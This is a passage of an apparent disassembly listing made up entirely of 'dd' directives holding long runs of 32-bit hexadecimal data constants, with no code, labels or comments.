		dd 0F74B0012h, 0C0022D84h, 0AD0D25E0h, 3A1C315Ah, 3D2930h
		dd 0C20549E9h, 0DCE18458h, 163F6C18h, 0A03CEF5Dh, 981E7A9Eh
		dd 60217561h, 77241D51h, 0F038684h, 0D0BBAC36h,	679FE052h
		dd 122A7097h, 0FE325Bh,	34600BD5h, 7600B1C5h, 5CAAAE84h
		dd 3FE6ED9Eh, 58800957h, 0BDEE6AA6h, 0FC0024F9h, 4D71943Ch
		dd 0BB808Ah, 6DED2E5Eh,	6A0F2B9Eh, 42765903h, 0F0FAD689h
		dd 7096517Bh, 5D6D0024h, 0B99378E2h, 0EF602850h, 427BA4FCh
		dd 753B00FCh, 4957C160h, 0B614C4E2h, 7D98BC5h, 3BFBE90Dh
		dd 7E74BB0h, 0C0BA0075h, 604FF8Dh, 0DE0019A3h, 8022C33Ch
		dd 9FFC8Fh, 31DD2B6h, 0EB91F8D4h, 0C17A3000h, 4D952224h
		dd 635E32Ch, 0A4A2D880h, 0A815D586h, 578DAC6h, 8FC6A062h
		dd 0A5B330DCh, 2EE18A9Eh, 25690C00h, 2F82B6E2h,	0E8A2079Dh
		dd 0E42CE795h, 5C2BC84Bh, 1A00B998h, 0A3A8B26Bh, 2C035666h
		dd 2DBB7Ch, 0E29658F5h,	0A0280223h, 4500E9AFh, 0A28FEFA1h
		dd 6790376h, 0B64FCCBEh, 0BA38B255h, 0EA4038h, 8435A7A6h
		dd 897CCF4Bh, 0BF004290h, 99C21642h, 0FAE16ED0h, 54F600A5h
		dd 0DFAC1E47h, 2A28D3C6h, 7000CA88h, 6FD8A1CAh,	24AD4FE1h
		dd 49C57CFEh, 799F4901h, 2D6F949Ch, 9285C490h, 2AE5F018h
		dd 0FED37700h, 0A22911CAh, 47EE40h, 0E952F837h,	0FDCB84B6h
		dd 52E7D0Ah, 0D800A0AAh, 2C61D933h, 87A3009Ch, 69DD3F4h
		dd 0E0F4AA75h, 0A163480Ch, 0E62C89h, 0E8610972h, 7C683180h
		dd 79E51003h, 0F028E3A9h, 0EF8F0h, 0D33C5F2Ch, 578B2EEFh
		dd 32E52204h, 5E8712E6h, 14839115h, 71B2B842h, 142D0079h
		dd 0DB7F2C32h, 1958D2E6h, 0AFE812A0h, 0ECDFE301h, 6ECC5F7Ch
		dd 98C100EAh, 6D46D457h, 2A005DBEh, 0F86169F1h,	0FF50276h
		dd 0DB9F925Ch, 0A69ECDE0h, 3C3DEC43h, 0D0D89479h, 5902829Bh
		dd 5C74830h, 83350016h,	1F79C248h, 980090DBh, 0F3CF797h
		dd 39BFE1Ch, 21CFB6F1h,	23D06E02h, 471DBA70h, 0B40FA35h
		dd 0D549CDA6h, 408C16E6h, 7971FA8h, 600FBDCCh, 6592C536h
		dd 5400E07Fh, 9D73999Eh, 4087B2Eh, 0EBF93724h, 39E48070h
		dd 0C40020A8h, 13DF741Eh, 0EC9F3h, 9853795Ch, 0AD6A1F72h
		dd 5DE88D24h, 3217E400h, 0C04A83h, 0A8F9117Bh, 8D3FCF93h
		dd 0A5985200h, 639A5C17h, 3BA6EA0Fh, 0CD27E75Ah, 0C8D96B20h
		dd 0BC004734h, 5362EFF1h, 5CE3C30Dh, 5C895949h,	75E0B28Eh
		dd 943B9EBCh, 0D2B75300h, 8CE169A2h, 1B3F0DF8h,	0F8E615A6h
		dd 6200E82Fh, 9A807F0Fh, 178951B9h, 91C181E1h, 40BE563Ch
		dd 5EF12906h, 240C8701h, 6FE8685Ch, 290818AFh, 0E9C8EE1Eh
		dd 890E1B48h, 0B8508014h, 0F742292h, 2DD0F759h,	9BA3C9C0h
		dd 8B3CC689h, 0C4811404h, 66543D1Fh, 14148338h,	3208B951h
		dd 4BCEC107h, 0D101F332h, 89087440h, 3B593133h,	5E0B950h
		dd 54C2944h, 605C6E87h,	8956C68Bh, 0C64281E6h, 870C8333h
		dd 0E95C1E00h, 0FFFB65CFh, 9BF021h, 0CEE6B70Ah,	0B8C64B31h
		dd 0E819521Eh, 0FFC503C0h, 0AFBAE0h, 0D1F65AA7h, 560D4A3Fh
		dd 2D02EB00h, 0BE30486Dh, 1B140B1Eh, 8B8FF744h,	72F987A0h
		dd 2E0301FEh, 0DA592A6Bh, 1777807Fh, 350C0019h,	5B866455h
		dd 62005665h, 0D21AB969h, 3D379BCDh, 7C00C4ABh,	39605802h
		dd 9E00D42Bh, 53568C1Eh, 74500D40h, 1B5B00E1h, 7E147494h
		dd 769578FEh, 1870D4E8h, 17F908E1h, 0AA779422h,	0C5BF0312h
		dd 0F23FFEA1h, 940F1623h, 0BD3121F9h, 0B76E2079h, 90F0E0A4h
		dd 0E996079Bh, 8755E7EAh, 45776B6Ch, 0FF6A64CAh, 4F00C36Fh
		dd 5CE91017h, 975B65BEh, 832F62A0h, 2B8A95B3h, 9A842154h
		dd 0D1ADE81Ch, 5C71E7BCh, 22E1A305h, 43BD076Ch,	1F8BF02h
		dd 5870DDBDh, 0D2B39009h, 1BF950h, 59B84EFCh, 0AE25E5BCh
		dd 58B7FF6Ah, 0FD492100h, 9C47AB3h, 0CB33BB66h,	0EE010605h
		dd 0D5F18F24h, 0B91A0AB5h, 80F95AAAh, 809239ADh, 67CF9B07h
		dd 0D90F0573h, 0EF5B02FBh, 0E35516h, 86548925h,	16D1FF43h
		dd 0E2A91DA6h, 54BF8BAEh, 2800F6BEh, 3CA4E3E2h,	9502ADD7h
		dd 95160353h, 2BA86613h, 8C1DFCh, 0CA5CB57Ch, 0DBE3E7E8h
		dd 519562F2h, 0E8DEADCBh, 7E90ED60h, 6B4C03DAh,	0CB8A9E8Fh
		dd 8D4FA09h, 0FD11061h,	0A5969E87h, 18B72BE4h, 72FECAh
		dd 6C26F834h, 94039B8Bh, 595ABDE8h, 0DDEEAE12h,	6F6A3E1Bh
		dd 738FF600h, 395D2597h, 717FE92Fh, 94A4C481h, 510BAE96h
		dd 9DFF44DEh, 540B19DAh, 0CD6165DCh, 0E461C0B0h, 0F405C86Dh
		dd 0EE70D60h, 4985C903h, 0C8DE5A25h, 1776736Bh,	0D7BD801h
		dd 4424AC60h, 0EAA6C0h,	9910A70Eh, 0BB1CAABDh, 0DDAEA81Ch
		dd 6FE75F16h, 82A59A5Ah, 77313C3Eh, 0A052613h, 0F5ADC781h
		dd 1BB85DB9h, 71EF0B8Ch, 12022902h, 5FDC330Dh, 0F0AD5B2Fh
		dd 4D24DFB7h, 6EADCC95h, 0A6B5975Eh, 0F642E703h, 6AB180E5h
		dd 7B32B3FFh, 2EDB94B9h, 668953E8h, 0F561A255h,	0ECC6772Dh
		dd 5FF84B27h, 7B2016B1h, 510698Ch, 8A15A318h, 6604EED5h
		dd 21EA70E6h, 0F8871CD3h, 920BE00Ah, 0FFA0B04Ah, 0E44D0B01h
		dd 0BD8A3071h, 50E31C5Eh, 0AC3BF035h, 35254465h, 0C7421E00h
		dd 0FE49B0A9h, 50D30927h, 0C65701DCh, 0FD52156h, 756079A6h
		dd 9D86D1h, 6D3D4CB4h, 40349AC7h, 58671E01h, 1FD98D89h
		dd 78683AADh, 7E9DDC8Ah, 21658845h, 9990449h, 289F604Ah
		dd 97D20F47h, 0D10461F9h, 90E4BB33h, 2D866BE9h,	5100AD64h
		dd 0AB704C99h, 0ED44858Bh, 0BB415FDDh, 176E4145h, 0CCF08859h
		dd 0CDB2B00Bh, 0E20B807Bh, 5E97909Ch, 164CE2B8h, 4CE31F69h
		dd 22D11425h, 3FE9FAC1h, 7EB58911h, 983A9FB5h, 0D7138179h
		dd 7AAC2FE1h, 0A71C5EA5h, 596B06D6h, 89669E58h,	0FB881FB5h
		dd 0DD68316Bh, 19E22E0Fh, 0C976784h, 5E4D5B6Ah,	0F215E620h
		dd 0F1DF321Ah, 2091A07Fh, 0B93E1BF9h, 1BDCAB8h,	6EF8CAE8h
		dd 2A04377Bh, 50657ADh,	4F4B20FAh, 0DF0F20E7h, 0C0AC1AFCh
		dd 833F7FDCh, 80B00B89h, 78D1D3h, 8501FC0Bh, 0D702A9D5h
		dd 21C20FCDh, 24D7D23h,	0BB651B44h, 2E0A7AE2h, 2828BA7Bh
		dd 7E769FCFh, 0AC7BB754h, 607B5E5Ah, 0A93ACB81h, 0C45C042Dh
		dd 0E0BB0560h, 0BF1A7BB0h, 0A6D7E7DAh, 0A10D0CD3h, 0E925D003h
		dd 4E78CB7Ah, 2D1E6AEBh, 0B10FC0Ch, 975F6B6Dh, 0A25FA5B6h
		dd 5C61F562h, 4C00DC5Ah, 53A7D766h, 31BB0C03h, 0FDDCC96Eh
		dd 70B82B25h, 13922BC0h, 0B2FC6E27h, 26865802h,	0DC0DE7D2h
		dd 2EA5515Dh, 1200D1E7h, 0DD428C2Ah, 9C018071h,	4BD0CFCEh
		dd 376E41B7h, 0CE75E96Ah, 2ECE0060h, 0E476118Eh, 90E2AD38h
		dd 84B1BE00h, 6A98A556h
		dd 0B56DBD31h, 13601964h, 210228AEh, 8D0F3F06h,	8C4A8207h
		dd 2D62901h, 70797327h,	1E98383Dh, 70104D45h, 90CFFFD5h
		dd 24530397h, 9A1520FDh, 0C0798989h, 995B3585h,	5110CE8Ah
		dd 0C7800B04h, 46A9718Fh, 295F215Ch, 0A34EB8E8h, 41385FAh
		dd 16FA7ABFh, 5EA66007h, 0C2B1EAE5h, 9706BCF4h,	0AF75098Bh
		dd 0F5D989C0h, 0FE051CB7h, 0A3BB2AF3h, 109F4C4Ch, 313B1709h
		dd 0E22C7D16h, 497651DCh, 0B0486BA3h, 5958AD07h, 5F75EB13h
		dd 236A6BEBh, 0BC520B15h, 2B9EC319h, 170537A6h,	0EEB5BC89h
		dd 0B26F320h, 0C4070B54h, 9E715B77h, 0ACBB099Dh, 0D8449C30h
		dd 58FA19C2h, 0B1D2C446h, 38B3AF06h, 31C42325h,	3164680Fh
		dd 0DF8B8484h, 9BAA07EAh, 0F6332F32h, 0D5FAE0ECh, 8FA76C26h
		dd 5397F876h, 5235930Ch, 0FE5C17FFh, 1A12D37Eh,	5299BAE5h
		dd 15AD8A01h, 6BFDE901h, 0F2E842F9h, 0F4783400h, 90BBF750h
		dd 41C42D70h, 0BAA104C6h, 9ADA7A74h, 5DC01DC8h,	20679A7h
		dd 4FB07F47h, 1469E74h,	0A43D34ECh, 8FA253Fh, 5F9DA76Fh
		dd 7526B5C9h, 81008DCCh, 5419BBFDh, 0E3AC4Dh, 1327BE0Eh
		dd 728CBA6Ah, 0C50F7E9Fh, 0B52380F9h, 0B4830575h, 3A31A5FBh
		dd 6EFF55C5h, 204800ACh, 0ABDF6576h, 259D9359h,	4055FD12h
		dd 750C61DAh, 0AC0B4A31h, 0E33BB0ACh, 0A27209BBh, 29842287h
		dd 8CE6BA46h, 0A39C03E0h, 1739A10Bh, 90C67796h,	52138742h
		dd 0AF00AE5Fh, 0B71478BFh, 96612B89h, 0A2A4583Ah, 0A301A075h
		dd 7262BB3Fh, 0FC3E5A7Dh, 2D95C222h, 0D37B5713h, 19BD093Eh
		dd 7BF9DE35h, 0B4BCA44Eh, 22E1995Bh, 0DBBF0141h, 5863CA15h
		dd 5A676E6Ah, 7A7645EBh, 6920BAB8h, 24DE44CAh, 8497C48h
		dd 46AD16C1h, 0F78101E3h, 6563B43Bh, 54F82E50h,	0F25113D2h
		dd 0DBC3001Ch, 0A39D2FE3h, 34799F70h, 40496D49h, 0FC68D51Ch
		dd 0E1F6614Bh, 0A1EA9BE0h, 3B47821Dh, 7636C149h, 933540C8h
		dd 0D60907C6h, 0DD3818A5h, 9AFFDAC2h, 9553814Ch, 3C6E26B9h
		dd 0DE5A8A1Eh, 4F27CD8Ah, 51693B11h, 0A55FE9ABh, 780AD314h
		dd 293D28E6h, 60DD9792h, 173A3830h, 3D201C55h, 0BD1C099h
		dd 0EBB6C939h, 4B4A6F04h, 2FE2F441h, 1C8A2902h,	0C75D1B89h
		dd 0DFA05E41h, 40BD8F87h, 0B5DFD8C2h, 9B49C494h, 34DB5FABh
		dd 0CD064F80h, 10005587h, 81781947h, 0EAA45E7h,	853152EDh
		dd 19DC1C8Bh, 4155E71h,	0FD2161A0h, 8C16BC0Ah, 0E55ECFFEh
		dd 19B2CEB6h, 3FFFB630h, 172D4926h, 7EB50C64h, 0AE4FDCBBh
		dd 9AD245ADh, 16FA928Eh, 0D51B0A2Eh, 0E678AFE1h, 78817BB5h
		dd 570AF987h, 0BCAD7AB2h, 52EA85C9h, 29C2A8ACh,	9157A58Dh
		dd 0DDC239E6h, 1CE7376Dh, 0E94100Eh, 82A2BE00h,	322CA78Ah
		dd 78DF8102h, 776922E6h, 179136B5h, 72FCF781h, 0D0D6CE1Ah
		dd 92E0F069h, 7AF497AFh, 0A41C56D4h, 4CAE2F00h,	0BDCCC21Fh
		dd 290FBF0Bh, 0AD2B77B5h, 2B94D050h, 0F1594FDCh, 5DEC2E9Dh
		dd 0AFD9B713h, 0E697089Ah, 3D301648h, 600962B3h, 1877CC8Ah
		dd 0B20B9C9h, 61783CDBh, 9F4BD7Dh, 985F2638h, 2DBD0306h
		dd 697E2C81h, 0E11570DEh, 61B52208h, 0F7C29DF7h, 19910B37h
		dd 8D4CE096h, 3CE3B52Eh, 5D1DFA25h, 8B848D50h, 0C5BB95FBh
		dd 4B6BEAF2h, 0C1001D23h, 63ED9637h, 623D09ABh,	3A774D17h
		dd 0D4A1F43Eh, 0D34E7900h, 0F3BB6609h, 2DCEB0F9h, 5A6705D1h
		dd 4D3D5D1Ah, 0C4F7E925h, 0B2BF02AAh, 2941CA1Ch, 95647AD7h
		dd 0B70ED07Eh, 6EEAD2FDh, 750D006Fh, 19B589FAh,	0D7818033h
		dd 97D9CD0Ah, 60C4C47Bh, 4D5EB87h, 0A63E0AA5h, 3CE6B5EEh
		dd 0AC71B105h, 591FCC27h, 0ADB5CF00h, 9FF160E8h, 20A5036Eh
		dd 26BD7DEDh, 6E3C0DC1h, 5EF9A920h, 0EE203D5h, 9141DE2Fh
		dd 4042308Fh, 0F72F8E9Ch, 0C0BE8173h, 97445F04h, 4BCBCA9Ch
		dd 0D6D6B96Ch, 8E80E19Ah, 2CC1407Dh, 0B4B548FEh, 3D574DB1h
		dd 25A0BC5Ah, 0D8575B65h, 5B0B094Eh, 98E32D10h,	0EACDEA7h
		dd 0C68D120Ah, 0BBDBEE13h, 2D54B981h, 3E34311Fh, 0B2C4B0FCh
		dd 8E7BEFAFh, 0DD071723h, 3E97A1Eh, 58E30A7h, 0E91F6B08h
		dd 4EB3ACE2h, 3300D46Eh, 6893D772h, 4C2E6147h, 0DC2561D8h
		dd 92DD2559h, 500053B0h, 284FB979h, 822B94F0h, 0E6772FFh
		dd 4A5FA36h, 15EB0114h,	1C779E9h, 0F9B16A11h, 6BF684h
		dd 0CDBD7A6Bh, 20EC788h, 0C0437548h, 0BB25D5D2h, 0EA18EA15h
		dd 0E1590392h, 68221FACh, 0FEB067DBh, 0D6028555h, 3BF77FADh
		dd 0D6E94280h, 0E92CC00Fh, 0E21E68A3h, 85DC0B6Eh, 2355B640h
		dd 0F9962E8h, 0F52E5ABFh, 8D4A7020h, 0FE00DEADh, 30803385h
		dd 7199F3h, 9373FF14h, 197C2EE9h, 9CB77024h, 1A01F91Ch
		dd 0D00C3546h, 0CEB0E4h, 0BDC02963h, 7ED7DE7Ch,	6512F418h
		dd 0F19BACh, 5B871436h,	7546DFA7h, 2A71F50Ch, 3D41101h
		dd 8E50ED27h, 76B80DBAh, 66540747h, 6DA077A1h, 9F2A59h
		dd 571B4459h, 81F45A71h, 1101FC5Ah, 0B1D849A8h,	80C15AEAh
		dd 34E7947Ah, 0C0521627h, 13060Ch, 0CBAEAC6Bh, 0E4D94186h
		dd 0F317D003h, 882DEE9Eh, 1CCAFDDEh, 1FD2F191h,	0CF44DD09h
		dd 0CD408E89h, 109466ABh, 0BC546B02h, 0C0243E57h, 0C08DF5B7h
		dd 0E923C870h, 0ADA8925Ch, 60C0F8DDh, 35A85BA3h, 0CE4C0187h
		dd 0E5B20A7Dh, 0B3FAFC6Fh, 1370593Eh, 0CCF06D1Dh, 14A00F0h
		dd 0EB93255Ch, 72005E17h, 586F02C6h, 3E44B59Fh,	0A6828E36h
		dd 0FF12F961h, 46DE0840h, 9FCAF00h, 41243601h, 5FFB003Ch
		dd 0C995A0ECh, 0D47F9739h, 0BDBCAC03h, 0EF817073h, 64E260FEh
		dd 130CFEB1h, 0C883C9h,	0B9F692BCh, 9800473Bh, 0FCF2D70Ah
		dd 0FB0E2Dh, 426FCFE1h,	0BA3EDC8Fh, 74B3C700h, 4A8D3118h
		dd 0EFAE6E0h, 0E6321901h, 1E6DCD40h, 0FB005DB6h, 66B20EFFh
		dd 282503AFh, 22E01088h, 0EC007880h, 0F2E423A8h, 31A17A37h
		dd 0CD641BA3h, 0B5DBCC1Ah, 0F5E87200h, 0A10406C1h, 3BDF0918h
		dd 66003646h, 6117DB78h, 4F133001h, 1CCE09BFh, 0B654F680h
		dd 0CBFFAED3h, 0B1590C06h, 4C4DAFDCh, 0AD008AC5h, 75EC221Dh
		dd 0D81E8FE9h, 31B8BB27h, 7F08A2D1h, 36DC7412h,	69F06396h
		dd 0BF330927h, 3920C3ECh, 0E2A8F19Ah, 0D6002571h, 0F9F43FAh
		dd 0FE43E79h, 0E3422D73h, 70B872C2h, 39D45742h,	5A1E3C00h
		dd 926C95C6h, 0CC410073h, 6EDD7DBAh, 4E3651BBh,	27181B22h
		dd 82E0A1EBh, 0B0A6A4h,	95207E48h, 0CE070033h, 39411464h
		dd 44D600A5h, 0EA707DC6h, 0BB24E437h, 920018C1h, 5F3D4069h
		dd 0B8AE00F5h, 0F0728BC5h, 76622FD8h, 250125FCh, 6F8AC51h
		dd 8EB7E478h, 0B467008Fh, 0AFDDB058h, 66F4D674h, 982AFC00h
		dd 0CAF09B5Fh, 5C270123h, 406BCF89h, 3803CF17h,	77D33DEEh
		dd 2F0B88FDh, 5CB8007Ch, 24D73CFCh, 39004326h, 0C0EDF27Eh
		dd 1C8729Bh, 0A04B3BFBh, 20C4356Dh, 5A002174h, 0E81D6AA4h
		dd 755FB6h, 0CF08B095h,	9F31604Bh, 63BFC02h, 0F463832Fh
		dd 40F19F9Ch, 7F610A3Ch, 0C1A9B515h, 0F016E6Bh,	0D599B681h
		dd 47CCA340h, 0F2EA0037h, 58933950h, 780032E5h,	95903AC3h
		dd 0A86E2E4Dh, 18368A90h, 745F3C65h, 5A0E9F20h,	0E63F4BB0h
		dd 5194770h, 5EBA6D1Eh,	0B0F1AC4Eh, 1127793h, 98DAD66h
		dd 84A63962h, 351F0C36h, 8F48D7C0h, 9167E8Bh, 0BECCA1A9h
		dd 8CF26280h, 5C00E586h, 0C1F6D3EEh, 350208h, 63225618h
		dd 0FA8E60C2h, 5D4975Eh
		dd 55080D80h, 0D9661BE5h, 61B0CC35h, 0BA50113Ah, 3716E4B5h
		dd 0AE92BDDh, 822D6049h, 19D4EBC8h, 8746E4F1h, 9DDA4100h
		dd 0B0B894BEh, 28F3E63Ch, 0F414CAh, 8B9CF8A3h, 0CFE0D8C2h
		dd 2A30DB03h, 0C0425881h, 1009C6h, 0B69C534Eh, 51EE7B4h
		dd 774FE201h, 0BE30D684h, 0B2648196h, 6D790E5Fh, 4CACC027h
		dd 6085AEC1h, 0B3586C29h, 0E70E2056h, 22BC9863h, 8A109FEFh
		dd 3D0429AFh, 9E8050FAh, 5889279h, 22B70F4h, 0DBB30011h
		dd 37D314A6h, 2087C45Eh, 58BD6D80h, 9E00B730h, 910F1CA8h
		dd 8B9AE400h, 0A76932D8h, 0DF3EC033h, 89EC6EA9h, 0E492C702h
		dd 0D6DC2F2Bh, 0B0FF1715h, 4D78FA9Bh, 0D08D9700h, 13CCFC0Eh
		dd 7CDEEA7h, 0EB9AFF7Bh, 8D804932h, 6D16B068h, 84D7230Eh
		dd 0C0144F76h, 0CCDF015h, 547D022Eh, 2946D496h,	0F78BC560h
		dd 0A00B8470h, 0D97CB8D5h, 464F0048h, 2BEC91F4h, 8A54E100h
		dd 33F5D397h, 7A663BC0h, 0FE3ABE48h, 5E61C0DBh,	12023F4Dh
		dd 2DDE3CECh, 61B7DC7Dh, 0F7F7C1C7h, 4844F5CAh,	0AA5B90B5h
		dd 0AB37008Dh, 16D87935h, 4F007015h, 216B4E8Ah,	0FFD134E6h
		dd 2F74230h, 2AED93C2h,	55E0DB20h, 240C57A3h, 5AD1D5DCh
		dd 530171Ch, 12004B59h,	16A9E02Eh, 0F1860049h, 0D82E6BE0h
		dd 0E389439Eh, 3DE0BD55h, 4D076520h, 8107EDC1h,	0CA407731h
		dd 39EB01C0h, 48B835Dh,	0DF581C87h, 79138522h, 1052743Ch
		dd 0C8C281E2h, 581464EAh, 268533Eh, 69343D8Dh, 0BAC3515Bh
		dd 812DD3F0h, 4EDDE900h, 0D1F7597Bh, 3F1F249h, 7DCDF08h
		dd 0C1E3CB21h, 0E30D887Ch, 0AC911D63h, 1D4E8E4h, 0DF89F798h
		dd 0AD8B545Bh, 68F8406Ah, 565C5467h, 843348Fh, 81814523h
		dd 83560EC3h, 0FF1D74D5h, 0E35F1634h, 0EDE90B27h, 4CEE014Eh
		dd 2DE0B35Ah, 0B8270B62h, 0DF59302Ah, 0A5468D80h, 6EAE15h
		dd 1821877h, 611E227Dh,	31195900h, 0BB445BE2h, 51F097h
		dd 1782D75Dh, 2425CFFFh, 3900877Ah, 6BD9B71Eh, 723DD7Ch
		dd 64D45495h, 0C6F30088h, 1800136Fh, 4625CA2Ah,	5C91C7h
		dd 1D3B94DFh, 38E0B4C2h, 5330C00h, 0D8954806h, 0D7BAB570h
		dd 77508B53h, 0A44B093Fh, 0A25F8D89h, 5E6090E0h, 0EA174077h
		dd 57009785h, 7576B050h, 4228935h, 3AB4F644h, 0EE8CBF61h
		dd 79B8076Eh, 0F07A0381h, 0C3A14D33h, 56C26033h, 57C8E966h
		dd 27EDB2E8h, 0ADF96A61h, 94AEE545h, 0BC45A9CEh, 2A000F2h
		dd 0B2E211C2h, 1B139D17h, 9CAA840Fh, 0BE4CD95Ch, 373100E7h
		dd 0F710E506h, 28EA255h, 43332BADh, 0CBB60903h,	48DF2372h
		dd 81292586h, 667ADA09h, 8C0F5012h, 0A64A10A6h,	3760E0C0h
		dd 0E6D700EFh, 81517CEEh, 3AB8B4C7h, 545F1C25h,	95525C5h
		dd 0B9B7DF28h, 0A860A980h, 0FCE382E5h, 89189F7Eh, 4E11EF80h
		dd 640010E9h, 0A44FE0FDh, 9700F1E8h, 53730BE3h,	60050FCFh
		dd 9D2B82C9h, 96B511E5h, 60818DE4h, 0A243DA4Fh,	0FBB59518h
		dd 9D20FDF2h, 193715Bh,	0FFD991BBh, 392889D1h, 85C6D709h
		dd 283D690Eh, 62088EE6h, 0D67C0449h, 2F5B51F5h,	79C077DEh
		dd 0E9786D54h, 0F0AD0D44h, 6ED20037h, 71285E82h, 0A55001E5h
		dd 0AAC40297h, 900208F1h, 5787880Fh, 0A5F8E960h, 0B10915E1h
		dd 6E857F90h, 5E95B71Bh, 0EEA711A1h, 357068FEh,	6F2FF533h
		dd 0FBFF15F5h, 0BC7ABDE1h, 81F4817Dh, 89C4CCDBh, 3FD9BD4Dh
		dd 0B1CBBB81h, 346B2AD4h, 79048186h, 8CAF0411h,	0F716B393h
		dd 70BA5390h, 5B28087Bh, 2653FC97h, 0BCDD022Ah,	82D654B5h
		dd 51BD89C0h, 4B51B533h, 5A820F42h, 88F95B17h, 1700217Ch
		dd 3BD05F02h, 78D284BDh, 12D738Dh, 8982E603h, 819D19Dh
		dd 0F9154B85h, 203ECE5h, 0A20F569Eh, 4DE03EE9h,	5F125376h
		dd 5CA6FF6Ah, 606827E2h, 291D15DAh, 242FF5B5h, 0F4BFA1E0h
		dd 72E4F71Ah, 286AB1B5h, 8A32B710h, 1EFADD4Ah, 8E33D0EBh
		dd 0E403A280h, 25D1F771h, 8F6F9603h, 952A0D2h, 6420057h
		dd 0F13C7E1Ah, 5D2DB623h, 0F56D690Ch, 89FE8B11h, 0DF12E15Eh
		dd 0D920C246h, 858EA132h, 0E66F0D21h, 0B2E7071Ah, 0D4B6D2EAh
		dd 591E4023h, 6BA6116h,	190F2BCCh, 58C18B36h, 426BADDDh
		dd 78466Ch, 67D87023h, 760B38E2h, 7E062E1Eh, 3135AD86h
		dd 15F77E4Ah, 0F7299D33h, 0BFC82B01h, 0C8F505ADh, 6EC2D18Bh
		dd 0D5DA95DBh, 4B5ED112h, 1DC19D34h, 0B4062E01h, 554C5009h
		dd 1328DC47h, 0E288BE1Ah, 120ADCDEh, 0F49DBEF8h, 88A45A03h
		dd 5F16D6Fh, 0FA428362h, 749B0E8Ch, 0B817B5CFh,	8BF8092h
		dd 0B564807Ch, 9C136F9Bh, 62AA0CF9h, 0BD2827AAh, 0FCD9B50Ah
		dd 0AD8FF1A5h, 615A11D5h, 0C47B646Bh, 0F56C0B95h, 1F08725Bh
		dd 858902A7h, 98FD1D65h, 0B51CFD11h, 0B59F7896h, 9477270Ah
		dd 0AAF95B89h, 20701E26h, 0B97E043Dh, 0ED0B0E50h, 1CFD195Bh
		dd 64616FA9h, 0A97BF8D0h, 58CF7388h, 94FD17F1h,	4498BA89h
		dd 828A068Fh, 0D6255151h, 12D7DA34h, 925B7503h,	4B30C570h
		dd 5A3FA823h, 4E793389h, 86133EB8h, 3509B93Ch, 0CD900265h
		dd 49A6DE1Bh, 0BF81D551h, 1ACD7E8Eh, 8A3A316Bh,	1A2B6BFEh
		dd 0D21994Ch, 60ED7E2Dh, 1C696ABEh, 51612C14h, 8D110A2h
		dd 0EF455B2Dh, 66F83712h, 0BBC0C9D0h, 12B61816h, 7EC71AB5h
		dd 4E4D259Ah, 8A7F01C0h, 110D2D12h, 660E8145h, 6FBE1604h
		dd 63660EABh, 0CFC97F5Ah, 0A985F5Dh, 3100B65Fh,	0D96AF0C3h
		dd 161F8988h, 0A282CE79h, 43F84B3h, 89149EBAh, 0AC5167h
		dd 0B50D8E52h, 0B2003363h, 0E6E5847Eh, 3DFDD74Ch, 9E2D93A1h
		dd 0C91AE045h, 7AB7F573h, 0B802914h, 0D0B95BE7h, 0B0EA02D4h
		dd 0A9B58950h, 787FF46Ah, 816D9DDEh, 0F1BA95C4h, 0D2FFE04Ah
		dd 0BC80665Ah, 31323ABBh, 6D6C0E73h, 0C1336A26h, 814500F1h
		dd 225655C3h, 290D574Dh, 9717A995h, 0DDA4BC6Bh,	0FEE5319Eh
		dd 0F9F9E591h, 1AA5AD1h, 2D43BF06h, 4FF96E6Ah, 790290B8h
		dd 0E4CC7BE9h, 400E7C2Eh, 2F85F280h, 2266AF2Eh,	6D072302h
		dd 1DA64059h, 0E108B1Bh, 680022CDh, 0C8EAB6EBh,	8160DE8Ah
		dd 344D14A6h, 38B79F37h, 77F96701h, 17FBB3A7h, 200FE96Ah
		dd 8380DF55h, 0B5CA30B5h, 1317422Dh, 0DBBB32B1h, 92188AA4h
		dd 1AC02EC0h, 81ED0028h, 2B5E48D3h, 0E35DE976h,	57C65B8Dh
		dd 0AB8B9F9Dh, 87BFBDF7h, 1AC2AD97h, 0ECDA1BF1h, 6A16AFD1h
		dd 9EBDCF16h, 279BF293h, 8DB577F9h, 74807421h, 0CA232565h
		dd 0A2B1A050h, 109E0558h, 0AD06895Fh, 0F01BB86Eh, 9BAD01A6h
		dd 7BA9D0DDh, 86F77F8Ch, 0DE41DB0Bh, 379F8750h,	93E201EFh
		dd 0FD61CFC5h, 699F706Fh, 0C890341h, 0CEC42BEDh, 0C23B0E45h
		dd 8B308290h, 41799FFEh, 0B0DCB62Eh, 118513DFh,	0BCA2FD23h
		dd 7F328C15h, 1203A82Ah, 33BAC0FFh, 6F60FF6Ah, 7A01B7FAh
		dd 0E6DC69CCh, 0B8A2B7h, 6AA8FF98h, 3923EBE1h, 0F7CF1DBDh
		dd 80533069h, 9D505FD9h, 0F00ECBE4h, 4025165Dh,	569831BDh
		dd 0F7B70151h, 3A0662F2h, 0B2E77BC2h, 0A09E05B0h, 11B690B5h
		dd 0CCE100E5h, 0A4F09D6Ah, 0DC7F55EBh, 34BA4F5Bh, 9053B826h
		dd 0D93104FCh, 0A6FF5B45h, 445D3A31h, 25C671BFh, 96F71EA3h
		dd 6B25BFEFh, 0E6DDBA1Fh, 658B283Eh, 0CB7A2AD2h, 4FEA127Bh
		dd 0ED10EA8Eh, 45CDC0B4h, 1F281797h, 0DCC0E0h, 9B055134h
		dd 0E23989F5h, 0FC9DA5BAh, 3DE98E6Eh, 27E77B16h, 7F419A29h
		dd 0BD78881Dh, 92C4025h
		dd 12ABB54Eh, 0A579FED1h, 0AC6A6Ah, 0A4880E05h,	2F3D2F03h
		dd 0E7D087DEh, 0E513D9BFh, 96EEDF2Dh, 0F0976E8h, 56E41288h
		dd 822C0C45h, 56699C80h, 6127DCB0h, 54CDD15Fh, 2DDC1C09h
		dd 276AD8B7h, 77FBCB75h, 0A8020B11h, 0CF4256DBh, 0BAA7977h
		dd 447C9D2Bh, 0B579F2A7h, 18F4D3D4h, 8C4C511Dh,	0CD5CF9CBh
		dd 9E5A167Fh, 17B2CAA6h, 9D307231h, 0FB7AB7E8h,	4E59BB73h
		dd 0A7FB2309h, 1650DDD3h, 0A75B1036h, 0BF70A57h, 8BC2CE95h
		dd 3BD37FDFh, 335B52h, 12F4A230h, 1762F9C7h, 55483B6Bh
		dd 0B921016Eh, 0DFBC908h, 40D2650h, 0B257E3BBh,	31A6C12Ch
		dd 0A3DD3F1Eh, 0B1BAC945h, 46FE290Ah, 0FFADF073h, 1B680257h
		dd 0C283A8D8h, 76401AEFh, 27780D23h, 8A767737h,	0B1B52982h
